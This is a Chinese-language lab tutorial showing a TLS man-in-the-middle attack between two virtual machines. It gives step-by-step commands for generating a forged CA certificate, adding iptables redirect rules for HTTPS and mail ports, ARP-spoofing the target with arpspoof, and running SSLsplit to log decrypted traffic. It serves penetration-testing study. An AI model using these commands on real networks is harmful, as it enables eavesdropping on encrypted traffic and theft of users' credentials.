准备

一台win7虚拟机,IP:192.168.88.130 默认网关:192.168.88.2

一台kali虚拟机,IP:192.168.88.129

SSLsplit 是一个针对 SSL/TLS 加密的网络连接进行攻击,为网络取证和渗透测试的工具。它会终止 SSL / TLS 和启动一个新的连接到原来的目的地,记录所有传输的数据。它支持普通的 TCP 和 SSL,HTTP 和 HTTPS,和 IPv4 和 IPv6。http不做介绍仅仅实现代理功能,ssl实现代理的同时要与服务器建立连接,同时伪造证书与客户端建立连接,即双连接,依据获取的client信息再与服务器通信,从而实现明文数据监听。

1、利用openssl生成证书私钥

1
openssl genrsa -out ca.key 2048

2、利用私钥签名生成证书

1
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

在目录下生成ca.key私钥文件和ca.crt证书文件

3、开启路由转发功能

1
2
3
4
sysctl -w net.ipv4.ip_forward=1

cat /proc/sys/net/ipv4/ip_forward
1 #屏幕输出1,说明开启成功

4、设置iptables端口转发规则

1、清空当前表规则:

1
iptables -t nat -F  

2、设置iptables端口转发规则:

1
2
3
4
5
6
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 【#HTTP】
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 【#HTTPS】
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 【#MSA】
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 【#SMTPS】
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 【#IMAPS】
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 【#POP3S】

(-t:指定表;-A PERROUTING:路由前生效;-p:指定协议;–dport:接受流量的端口;-j:指定处理方法(REDIRECT重定向);–to-ports:转发端口)

3、使用该命令显示所有刚才配置的规则:

1
iptables -t nat -L

5、 Arp欺骗 ,截获目标主机的网络流量

1
2
arpspoof -i eth0 -t 目标IP -r 目标主机网关
arpspoof -i eth0 -t 192.168.88.130 -r 192.168.88.2

6、启动SSLsplit进行攻击

1、创建目录

1
mkdir -p test/logdir

2、侦听设定的端口

1
sslsplit -D -l connect.log -j /root/test -S /root/test/logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

根目录下出现一个test文件夹

伪造成功后,目标机访问https的网站,会出现“安全证书有问题的错误”,点击继续访问后,访问信息被记录在connect.log中,且在test/logdir可查看传输数据